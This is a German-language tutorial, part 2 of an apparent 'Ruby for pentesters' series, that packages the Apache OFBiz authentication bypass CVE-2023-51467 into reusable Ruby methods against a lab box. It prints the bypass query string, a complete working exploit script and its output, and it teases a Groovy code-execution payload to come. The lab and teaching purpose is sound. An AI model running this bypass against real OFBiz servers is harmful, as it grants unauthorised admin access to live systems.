// Ruby für Pentester · Teil 2

Am Login vorbeispazieren

OFBiz hat einen Authentifizierungs-Bypass (CVE-2023-51467). Wir gießen ihn in eine wiederverwendbare Ruby-Methode, lernen, wie Funktionen und Konstanten funktionieren, und bestätigen, dass wir am Login vorbei sind.

RubyCVE-2023-51467Auth BypassMethoden
5 Min. Lesezeit

In Teil 1 haben wir die Box als Apache OFBiz fingerabgedruckt. Das ist wichtig, weil OFBiz einen weithin bekannten Authentifizierungs-Bypass hat, CVE-2023-51467. Dieser Teil verwandelt den Bypass in eine saubere Ruby-Methode — und nebenbei lernst du, wie man Code in wiederverwendbare Funktionen packt, statt in ein langes Skript.

Der Fehler in einer Zeile

OFBiz sperrt sein Admin-Werkzeug hinter /webtools/control/<screen>. Der Bypass ist fast albern: häng ?USERNAME=&PASSWORD=&requirePasswordChange=Y an jede dieser URLs. Leere Zugangsdaten plus das „Passwort muss geändert werden”-Flag bringen die Anfrage in einen Zustand, in dem OFBiz die Auth-Prüfung überspringt, statt sie fehlschlagen zu lassen. Es hängt nicht an einem Endpoint — es funktioniert auf jedem Screen hinter dem Gate.

Der sauberste Weg, zu beweisen, dass wir durch sind, ist der ping-Screen, der nur einem authentifizierten Aufrufer mit PONG antwortet.

Wiederhol dich nicht: eine Methode

In Teil 1 haben wir die ganze Anfrage inline geschrieben. Jetzt machen wir viele Anfragen, also packen wir sie einmal ein. Eine Methode (Rubys Wort für eine Funktion) wird mit def definiert:

def get(path)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  http.get(uri.request_uri)
end
  • def get(path) beginnt eine Methode namens get, die einen Parameter nimmt, path. Alles bis zum passenden end ist ihr Rumpf.
  • Eine Methode gibt ihren letzten Ausdruck automatisch zurück — kein return-Schlüsselwort nötig. Hier ist die letzte Zeile http.get(...), also reicht der Aufruf get('/x') das Response-Objekt zurück.
  • uri.request_uri ist der Pfad plus Query-String (z. B. /ping?USERNAME=...), genau das, was Net::HTTP#get will.

Konstanten für die festen Teile

Die Basis-URL und der Bypass-String ändern sich nie, also zieh sie als Konstanten heraus — Namen, die mit einem Großbuchstaben beginnen:

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

Ruby behandelt jeden Bezeichner, der mit einem Großbuchstaben beginnt, als Konstante. Sie lesen sich gut in der Interpolation ("#{BASE}#{path}") und signalisieren „das ist Konfiguration, keine Wegwerf-Variable”.

Alles zusammen

#!/usr/bin/env ruby
require 'net/http'
require 'uri'

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

def get(path)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  http.get(uri.request_uri)
end

response = get("/webtools/control/ping?#{BYPASS}")

if response.body.include?('PONG')
  puts '[+] Auth bypass works — we are past the login gate'
else
  puts '[-] No PONG; the bypass did not take'
end

Führ es aus:

$ ruby bypass.rb
[+] Auth bypass works — we are past the login gate

PONG kam zurück. Auf einem ungepatchten OFBiz soll diese Antwort einen Login verlangen — sie mit leeren Zugangsdaten zu bekommen, ist die ganze Schwachstelle. Wir haben jetzt einen authentifizierten Blick auf den Web-Tools-Kontext, ohne je ein Passwort zu kennen.

Eine Methode, die mit ja oder nein antwortet

Dieses if/else vermischt zwei Aufgaben: zu entscheiden, ob wir durch sind, und darüber zu berichten. Zieh die Entscheidung in ihre eigene Methode. Per Konvention wird eine Ruby-Methode, die true/false zurückgibt, mit einem abschließenden ? benannt — ein Prädikat:

def bypassed?
  res = get("/webtools/control/ping?#{BYPASS}")
  res.code == '200' && res.body.include?('PONG')
end

puts bypassed? ? '[+] past the login gate' : '[-] bypass did not take'

Hier steckt viel idiomatisches Ruby drin:

  • Das ? ist ein echter Teil des Methodennamens — Ruby erlaubt das, und es signalisiert „ich beantworte eine Ja/Nein-Frage”. Du siehst es auch bei eingebauten Methoden: include?, nil?, empty?.
  • res.code ist der HTTP-Status als String ('200'), also vergleichen wir ihn mit ==. && ist boolesches und; die Methode gibt diesen ganzen Ausdruck zurück, da eine Methode ihre letzte Zeile zurückgibt.
  • bypassed? ? a : b ist der ternäre OperatorBedingung ? wenn_wahr : wenn_falsch — ein kompaktes if/else, das einen Wert liefert. (Ja, das erste ? gehört zum Methodennamen und das zweite ist der ternäre Operator; Ruby liest das problemlos.)

Jetzt ist „sind wir drin?” ein wiederverwendbarer, selbstbeschreibender Aufruf statt einer Wand aus Anfrage-und-Prüf-Code.

Warum die Methode zählt

Beachte, was uns das Schreiben von get eingebracht hat: von hier an ist jeder Screen ein Einzeiler — get("/webtools/control/whatever?#{BYPASS}"). Im nächsten Teil fügen wir eine zweite Methode für POST-Anfragen hinzu und nutzen genau dasselbe Muster, um einen Screen zu erreichen, der Code ausführt. Kleine, benannte Methoden sind, wie aus einem Wegwerf-Skript ein echtes Werkzeug wird, ohne zu Spaghetti zu verkommen.

Erkenntnisse

  • Methoden (def name(args) ... end) packen wiederverwendbares Verhalten ein; eine Methode gibt ihren letzten Ausdruck automatisch zurück.
  • Konstanten (großgeschriebene Namen) halten die feste Konfiguration und lesen sich sauber innerhalb der "#{...}"-Interpolation.
  • Eine Methode mit abschließendem ? ist ein Prädikat, das einen Boolean zurückgibt; && verknüpft Bedingungen und cond ? a : b (der ternäre Operator) wählt einen Wert.
  • CVE-2023-51467 ist ein Auth-Bypass: ?USERNAME=&PASSWORD=&requirePasswordChange=Y auf jedem /webtools/control/-Screen überspringt die Login-Prüfung. ping, das PONG zurückgibt, beweist, dass du durch bist.

Übungen

  1. Zieh eine Methode screen(name) heraus, die "/webtools/control/#{name}?#{BYPASS}" zurückgibt, und schreib die ping-Anfrage so um, dass sie sie aufruft. Eine Methode, jeder Screen.
  2. Gib bypassed? einen Default-Parameterdef bypassed?(screen = 'ping') —, sodass du jeden Screen per Name sondieren kannst und er trotzdem auf ping voreingestellt bleibt.
  3. Füge das gegenteilige Prädikat patched? hinzu, das !bypassed? zurückgibt. Die Verneinung zu benennen liest sich an der Aufrufstelle oft besser als ein bloßes !.

Weiter — Teil 3: Wir richten denselben Bypass auf OFBiz’ ProgramExport-Screen, POSTen einen Groovy-Payload und bekommen unsere erste Codeausführung auf der Box.

← Alle Teile